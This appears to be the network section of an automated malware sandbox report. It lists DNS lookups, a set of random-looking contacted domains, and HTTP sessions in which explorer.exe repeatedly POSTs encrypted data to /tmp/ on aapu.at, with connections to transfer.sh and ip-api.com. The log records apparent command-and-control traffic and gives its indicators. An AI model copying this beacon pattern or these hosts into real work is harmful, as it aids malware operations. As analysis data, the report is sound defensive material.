Mar 24, 2023 01:27:07.751117945 CET	8.8.8.8	192.168.2.4	0xcfb9	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:09.263140917 CET	8.8.8.8	192.168.2.4	0x708	No error (0)	h168121.srv21.test-hf.su	91.227.16.21	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.308355093 CET	8.8.8.8	192.168.2.4	0xb4d5	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.308355093 CET	8.8.8.8	192.168.2.4	0xb4d5	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.308355093 CET	8.8.8.8	192.168.2.4	0xb4d5	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.308355093 CET	8.8.8.8	192.168.2.4	0xb4d5	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.308355093 CET	8.8.8.8	192.168.2.4	0xb4d5	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.308355093 CET	8.8.8.8	192.168.2.4	0xb4d5	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.308355093 CET	8.8.8.8	192.168.2.4	0xb4d5	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.308355093 CET	8.8.8.8	192.168.2.4	0xb4d5	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.308355093 CET	8.8.8.8	192.168.2.4	0xb4d5	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.308355093 CET	8.8.8.8	192.168.2.4	0xb4d5	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:17.265584946 CET	8.8.8.8	192.168.2.4	0xba9f	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:17.873671055 CET	8.8.8.8	192.168.2.4	0xde85	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

radiobridge-egy.com

transfer.sh

ypasjfn.com

aapu.at

msukxfkobc.net

qlcoxsrn.org

ynmhgo.com

komvbmv.com

puuaikphh.org

cxlakqym.org

racbxd.org

vdnexr.org

curxa.net

kcslbkw.com

mkjiurrw.net

antvwyyeug.com

jrppmhd.org

cqvcf.org

pfqqphjyb.com

lrvtdos.org

frautv.com

ntgrenbkyt.org

shqmhngl.net

asoeevkt.org

nexfy.com

nhynvvhuci.com

fidvajo.com

xlbxh.com

ucgukugr.org

gkigcf.net

xlawrqy.net

fcpnyo.org

wiipas.org

h168121.srv21.test-hf.su

ckwhbgoaop.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49708	95.111.233.125	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49733	144.76.136.153	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49703	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:50.744440079 CET	107	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vdnexr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 354 Host: aapu.at
Mar 24, 2023 01:26:50.744502068 CET	107	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 42 09 c8 a9 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuBQ0`v{eho3pske}X^"D9"J[h?Kf3Sx]{H{YbK!uJWs<mxd]hOh
Mar 24, 2023 01:26:53.524363995 CET	108	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49704	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:53.715359926 CET	109	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://curxa.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: aapu.at
Mar 24, 2023 01:26:53.715406895 CET	110	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 50 43 c8 fb Data Ascii: ;nY!pwr\|~btyHnY[&?$`7C[zqNA -[k,vuPCQ"fFN\|F%IjjE~`MhHPC#9I/3JRWC`;9Wkbp66=Q qeA\#TFOa:89
Mar 24, 2023 01:26:53.951508999 CET	111	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49705	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:54.063630104 CET	112	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kcslbkw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 116 Host: aapu.at
Mar 24, 2023 01:26:54.088969946 CET	112	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 53 4c b4 f5 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuSLzwh^2abQ?8m
Mar 24, 2023 01:26:54.214171886 CET	113	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49706	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:54.347172976 CET	114	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mkjiurrw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 111 Host: aapu.at
Mar 24, 2023 01:26:54.347219944 CET	114	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 78 50 e8 e4 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuxPd=\wQ_!=]
Mar 24, 2023 01:26:54.533046007 CET	114	IN	HTTP/1.1 200 OK Date: Fri, 24 Mar 2023 00:26:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49707	211.119.84.112	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:55.106782913 CET	115	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://antvwyyeug.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 130 Host: aapu.at
Mar 24, 2023 01:26:55.106841087 CET	115	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 5a 41 fe e2 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuZAJ/V[0!v)>iW)3
Mar 24, 2023 01:26:56.393605947 CET	116	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 53 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 19 6b 42 fd 37 08 e9 f1 43 f4 9b af af 25 8d 60 d6 f7 2e 15 01 81 9a c0 c7 6a d0 3b 0d 5d 8f 0a 9a Data Ascii: #\6kB7C%`.j;]

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49709	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:57.653778076 CET	703	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jrppmhd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 335 Host: aapu.at
Mar 24, 2023 01:26:57.653876066 CET	704	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2c 5b 01 6b 2c 90 f4 76 0b 75 59 18 fe b7 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA ,[k,vuYS3lntwD]+naF}dc%o}X8tCUV4AY ~W!bws.%wOS;2\rn#$/
Mar 24, 2023 01:26:57.818384886 CET	705	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49710	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:57.926357985 CET	706	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cqvcf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 146 Host: aapu.at
Mar 24, 2023 01:26:57.926398993 CET	706	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 47 38 df 8f Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuG8pI]`\1b8B80O^gEmB9"Pn -H%
Mar 24, 2023 01:26:58.083354950 CET	706	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49711	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:58.202346087 CET	707	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pfqqphjyb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 264 Host: aapu.at
Mar 24, 2023 01:26:58.202409983 CET	708	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 2c 26 c7 e9 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vu,&U@o[dPiNJ\|@_:)yo]3e\|CDIqI%Njq]C3:G#$TbrE=$icWkv~2X
Mar 24, 2023 01:26:58.397320986 CET	709	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49712	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:58.498719931 CET	710	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lrvtdos.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 110 Host: aapu.at
Mar 24, 2023 01:26:58.498859882 CET	710	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 59 33 e3 ad Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuY3gdu^6uaX
Mar 24, 2023 01:26:58.735472918 CET	710	IN	HTTP/1.1 200 OK Date: Fri, 24 Mar 2023 00:26:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49713	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:58.829700947 CET	711	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://frautv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 157 Host: aapu.at
Mar 24, 2023 01:26:58.829782009 CET	711	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 2f 4f f0 fa Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vu/Ow\\Ro}KFLawj:}LxM-}"0ZtFs$
Mar 24, 2023 01:26:59.023152113 CET	712	IN	HTTP/1.1 200 OK Date: Fri, 24 Mar 2023 00:26:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
